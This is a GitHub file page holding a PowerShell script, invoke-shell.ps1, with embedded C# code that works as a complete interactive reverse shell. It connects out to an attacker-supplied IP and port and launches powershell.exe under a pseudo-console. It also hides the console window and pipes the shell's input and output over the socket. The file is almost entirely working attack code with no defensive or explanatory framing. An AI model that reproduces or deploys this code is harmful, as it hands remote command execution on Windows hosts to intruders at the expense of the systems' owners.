-
Notifications
You must be signed in to change notification settings - Fork 1
/
invoke-shell.ps1
542 lines (477 loc) · 22.8 KB
/
invoke-shell.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
#Requires -Version 2
function Invoke-Shell
{
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$RemoteIp,
[Parameter(Position = 1, Mandatory = $True)]
[String]
$RemotePort,
[Parameter()]
[String]
$Rows = "24",
[Parameter()]
[String]
$Cols = "80",
[Parameter()]
[String]
$CommandLine = "powershell.exe"
)
$parametersShell = @($RemoteIp, $RemotePort, $Rows, $Cols, $CommandLine)
Add-Type -TypeDefinition $Source -Language CSharp;
$output = [ShellMainClass]::ShellMain($parametersShell)
Write-Output $output
}
$Source = @"
using System;
using System.IO;
using System.Text;
using System.Threading;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
public static class Shell
{
private const string errorString = "{{{ShellException}}}\r\n";
private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004;
private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008;
private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016;
private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
private const uint CREATE_NO_WINDOW = 0x08000000;
private const int STARTF_USESTDHANDLES = 0x00000100;
private const int BUFFER_SIZE_PIPE = 1048576;
private const UInt32 INFINITE = 0xFFFFFFFF;
private const int SW_HIDE = 0;
private const uint GENERIC_READ = 0x80000000;
private const uint GENERIC_WRITE = 0x40000000;
private const uint FILE_SHARE_READ = 0x00000001;
private const uint FILE_SHARE_WRITE = 0x00000002;
private const uint FILE_ATTRIBUTE_NORMAL = 0x80;
private const uint OPEN_EXISTING = 3;
private const int STD_INPUT_HANDLE = -10;
private const int STD_OUTPUT_HANDLE = -11;
private const int STD_ERROR_HANDLE = -12;
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
private struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
[StructLayout(LayoutKind.Sequential)]
private struct COORD
{
public short X;
public short Y;
}
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Auto)]
private static extern bool CreateProcessW(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll", SetLastError=true)]
private static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetStdHandle(int nStdHandle);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError=true)]
private static extern bool WriteFile(IntPtr hFile, byte [] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern int CreatePseudoConsole(COORD size, IntPtr hInput, IntPtr hOutput, uint dwFlags, out IntPtr phPC);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern int ClosePseudoConsole(IntPtr hPC);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool SetConsoleMode(IntPtr hConsoleHandle, uint mode);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetConsoleMode(IntPtr handle, out uint mode);
[DllImport("kernel32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool AllocConsole();
[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
private static extern bool FreeConsole();
[DllImport("user32.dll")]
private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("kernel32.dll")]
private static extern IntPtr GetConsoleWindow();
[DllImport("kernel32.dll", CharSet=CharSet.Auto)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
private static Socket ConnectSocket(string remoteIp, int remotePort){
Socket s = null;
IPAddress remoteIpInt = IPAddress.Parse(remoteIp);
IPEndPoint ipEndpoint = new IPEndPoint(remoteIpInt, remotePort);
Socket shellSocket = new Socket(ipEndpoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
try{
shellSocket.Connect(ipEndpoint);
if(shellSocket.Connected)
s = shellSocket;
byte[] banner = Encoding.ASCII.GetBytes("\r\nShell\r\n");
s.Send(banner);
}
catch{
s = null;
}
return s;
}
private static void TryParseRowsColsFromSocket(Socket shellSocket, ref uint rows, ref uint cols){
Thread.Sleep(500);//little tweak for slower connections
if (shellSocket.Available > 0){
byte[] received = new byte[100];
int rowsTemp, colsTemp;
int bytesReceived = shellSocket.Receive(received);
string sizeReceived = Encoding.ASCII.GetString(received,0,bytesReceived);
string rowsString = sizeReceived.Split(' ')[0].Trim();
string colsString = sizeReceived.Split(' ')[1].Trim();
if(Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)){
rows=(uint)rowsTemp;
cols=(uint)colsTemp;
}
}
}
private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWrite, ref IntPtr OutputPipeRead, ref IntPtr OutputPipeWrite){
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
pSec.nLength = Marshal.SizeOf(pSec);
pSec.bInheritHandle=1;
pSec.lpSecurityDescriptor=IntPtr.Zero;
if(!CreatePipe(out InputPipeRead, out InputPipeWrite, ref pSec, BUFFER_SIZE_PIPE))
throw new InvalidOperationException("Could not create the InputPipe");
if(!CreatePipe(out OutputPipeRead, out OutputPipeWrite, ref pSec, BUFFER_SIZE_PIPE))
throw new InvalidOperationException("Could not create the OutputPipe");
}
private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr){
oldStdIn = GetStdHandle(STD_INPUT_HANDLE);
oldStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
oldStdErr = GetStdHandle(STD_ERROR_HANDLE);
IntPtr hStdout = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
IntPtr hStdin = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
SetStdHandle(STD_OUTPUT_HANDLE, hStdout);
SetStdHandle(STD_ERROR_HANDLE, hStdout);
SetStdHandle(STD_INPUT_HANDLE, hStdin);
}
private static void RestoreStdHandles(IntPtr oldStdIn, IntPtr oldStdOut, IntPtr oldStdErr){
SetStdHandle(STD_OUTPUT_HANDLE, oldStdOut);
SetStdHandle(STD_ERROR_HANDLE, oldStdErr);
SetStdHandle(STD_INPUT_HANDLE, oldStdIn);
}
private static void EnableVirtualTerminalSequenceProcessing()
{
uint outConsoleMode = 0;
IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
if (!GetConsoleMode(hStdOut, out outConsoleMode))
{
throw new InvalidOperationException("Could not get console mode");
}
outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN;
if (!SetConsoleMode(hStdOut, outConsoleMode))
{
throw new InvalidOperationException("Could not enable virtual terminal processing");
}
}
private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){
int result = -1;
EnableVirtualTerminalSequenceProcessing();
COORD consoleCoord = new COORD();
consoleCoord.X=(short)cols;
consoleCoord.Y=(short)rows;
result = CreatePseudoConsole(consoleCoord, ConPtyInputPipeRead, ConPtyOutputPipeWrite, 0, out handlePseudoConsole);
return result;
}
private static STARTUPINFOEX ConfigureProcessThread(IntPtr handlePseudoConsole, IntPtr attributes)
{
IntPtr lpSize = IntPtr.Zero;
bool success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
if (success || lpSize == IntPtr.Zero)
{
throw new InvalidOperationException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error());
}
STARTUPINFOEX startupInfo = new STARTUPINFOEX();
startupInfo.StartupInfo.cb = Marshal.SizeOf(startupInfo);
startupInfo.lpAttributeList = Marshal.AllocHGlobal(lpSize);
success = InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, ref lpSize);
if (!success)
{
throw new InvalidOperationException("Could not set up attribute list. " + Marshal.GetLastWin32Error());
}
success = UpdateProcThreadAttribute(startupInfo.lpAttributeList, 0, attributes, handlePseudoConsole, (IntPtr)IntPtr.Size, IntPtr.Zero,IntPtr.Zero);
if (!success)
{
throw new InvalidOperationException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error());
}
return startupInfo;
}
private static PROCESS_INFORMATION RunProcess(ref STARTUPINFOEX sInfoEx, string commandLine)
{
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
int securityAttributeSize = Marshal.SizeOf(pSec);
pSec.nLength = securityAttributeSize;
SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
tSec.nLength = securityAttributeSize;
bool success = CreateProcess(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo);
if (!success)
{
throw new InvalidOperationException("Could not create process. " + Marshal.GetLastWin32Error());
}
return pInfo;
}
private static PROCESS_INFORMATION CreateChildProcessWithPseudoConsole(IntPtr handlePseudoConsole, string commandLine){
STARTUPINFOEX startupInfo = ConfigureProcessThread(handlePseudoConsole, (IntPtr)PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE);
PROCESS_INFORMATION processInfo = RunProcess(ref startupInfo, commandLine);
return processInfo;
}
private static void ThreadReadPipeWriteSocket(object threadParams)
{
object[] threadParameters = (object[]) threadParams;
IntPtr OutputPipeRead = (IntPtr)threadParameters[0];
Socket shellSocket = (Socket)threadParameters[1];
uint bufferSize=16*1024;
byte[] bytesToWrite = new byte[bufferSize];
bool readSuccess = false;
Int32 bytesSent = 0;
uint dwBytesRead=0;
do{
readSuccess = ReadFile(OutputPipeRead, bytesToWrite, bufferSize, out dwBytesRead, IntPtr.Zero);
bytesSent = shellSocket.Send(bytesToWrite, (Int32)dwBytesRead, 0);
} while (bytesSent > 0 && readSuccess);
}
private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, Socket shellSocket){
object[] threadParameters = new object[2];
threadParameters[0]=OutputPipeRead;
threadParameters[1]=shellSocket;
Thread thThreadReadPipeWriteSocket = new Thread(ThreadReadPipeWriteSocket);
thThreadReadPipeWriteSocket.Start(threadParameters);
return thThreadReadPipeWriteSocket;
}
private static void ThreadReadSocketWritePipe(object threadParams)
{
object[] threadParameters = (object[]) threadParams;
IntPtr InputPipeWrite = (IntPtr)threadParameters[0];
Socket shellSocket = (Socket)threadParameters[1];
IntPtr hChildProcess = (IntPtr)threadParameters[2];
uint bufferSize=16*1024;
byte[] bytesReceived = new byte[bufferSize];
bool writeSuccess = false;
Int32 nBytesReceived = 0;
uint bytesWritten = 0;
do{
nBytesReceived = shellSocket.Receive(bytesReceived, (Int32)bufferSize, 0);
writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero);
} while (nBytesReceived > 0 && writeSuccess);
TerminateProcess(hChildProcess, 0);
}
private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, Socket shellSocket, IntPtr hChildProcess){
object[] threadParameters = new object[3];
threadParameters[0]=InputPipeWrite;
threadParameters[1]=shellSocket;
threadParameters[2]=hChildProcess;
Thread thReadSocketWritePipe = new Thread(ThreadReadSocketWritePipe);
thReadSocketWritePipe.Start(threadParameters);
return thReadSocketWritePipe;
}
public static string SpawnShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine){
string output = "";
Socket shellSocket = ConnectSocket(remoteIp, remotePort);
if(shellSocket == null){
output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString());
return output;
}
TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols);
IntPtr InputPipeRead = new IntPtr(0);
IntPtr InputPipeWrite = new IntPtr(0);
IntPtr OutputPipeRead = new IntPtr(0);
IntPtr OutputPipeWrite = new IntPtr(0);
IntPtr handlePseudoConsole = new IntPtr(0);
IntPtr oldStdIn = new IntPtr(0);
IntPtr oldStdOut = new IntPtr(0);
IntPtr oldStdErr = new IntPtr(0);
bool newConsoleAllocated = false;
PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION();
CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite);
InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr);
if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") == IntPtr.Zero){
STARTUPINFO sInfo = new STARTUPINFO();
sInfo.cb = Marshal.SizeOf(sInfo);
sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES;
sInfo.hStdInput = InputPipeRead;
sInfo.hStdOutput = OutputPipeWrite;
sInfo.hStdError = OutputPipeWrite;
CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo);
}
else{
Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell...\r\n");
if(GetConsoleWindow() == IntPtr.Zero){
AllocConsole();
ShowWindow(GetConsoleWindow(), SW_HIDE);
newConsoleAllocated = true;
}
int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols);
if(pseudoConsoleCreationResult != 0)
{
output += string.Format("{0}Could not create psuedo console. Error Code {1}", errorString, pseudoConsoleCreationResult.ToString());
return output;
}
childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine);
}
// Note: We can close the handles to the PTY-end of the pipes here
// because the handles are dup'ed into the ConHost and will be released
// when the ConPTY is destroyed.
if (InputPipeRead != IntPtr.Zero) CloseHandle(InputPipeRead);
if (OutputPipeWrite != IntPtr.Zero) CloseHandle(OutputPipeWrite);
//Threads have better performance than Tasks
Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket);
Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess);
WaitForSingleObject(childProcessInfo.hProcess, INFINITE);
//cleanup everything
thThreadReadPipeWriteSocket.Abort();
thReadSocketWritePipe.Abort();
shellSocket.Shutdown(SocketShutdown.Both);
shellSocket.Close();
RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr);
if(newConsoleAllocated)
FreeConsole();
CloseHandle(childProcessInfo.hThread);
CloseHandle(childProcessInfo.hProcess);
if (handlePseudoConsole != IntPtr.Zero) ClosePseudoConsole(handlePseudoConsole);
if (InputPipeWrite != IntPtr.Zero) CloseHandle(InputPipeWrite);
if (OutputPipeRead != IntPtr.Zero) CloseHandle(OutputPipeRead);
output += "Shell kindly exited.\r\n";
return output;
}
}
public static class ShellMainClass{
private static string help = @"
";
private static bool HelpRequired(string param)
{
return param == "-h" || param == "--help" || param == "/?";
}
private static void CheckArgs(string[] arguments)
{
if(arguments.Length < 2){
Console.Out.Write("\r\nShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n");
System.Environment.Exit(0);
}
}
private static void DisplayHelp()
{
Console.Out.Write(help);
}
private static string CheckRemoteIpArg(string ipString){
IPAddress address;
if (!IPAddress.TryParse(ipString, out address))
{
Console.Out.Write("\r\nShell: Invalid remoteIp value {0}\r\n", ipString);
System.Environment.Exit(0);
}
return ipString;
}
private static int CheckInt(string arg){
int ret = 0;
if (!Int32.TryParse(arg, out ret))
{
Console.Out.Write("\r\nShell: Invalid integer value {0}\r\n", arg);
System.Environment.Exit(0);
}
return ret;
}
private static uint ParseRows(string[] arguments){
uint rows = 24;
if (arguments.Length > 2)
rows = (uint)CheckInt(arguments[2]);
return rows;
}
private static uint ParseCols(string[] arguments){
uint cols = 80;
if (arguments.Length > 3)
cols = (uint)CheckInt(arguments[3]);
return cols;
}
private static string ParseCommandLine(string[] arguments){
string commandLine = "powershell.exe";
if (arguments.Length > 4)
commandLine = arguments[4];
return commandLine;
}
public static string ShellMain(string[] args){
string output="";
if (args.Length == 1 && HelpRequired(args[0]))
{
DisplayHelp();
}
else
{
CheckArgs(args);
string remoteIp = CheckRemoteIpArg(args[0]);
int remotePort = CheckInt(args[1]);
uint rows = ParseRows(args);
uint cols = ParseCols(args);
string commandLine = ParseCommandLine(args);
output=Shell.SpawnShell(remoteIp, remotePort, rows, cols, commandLine);
}
return output;
}
}
class MainClass{
static void Main(string[] args)
{
Console.Out.Write(ShellMainClass.ShellMain(args));
}
}
"@;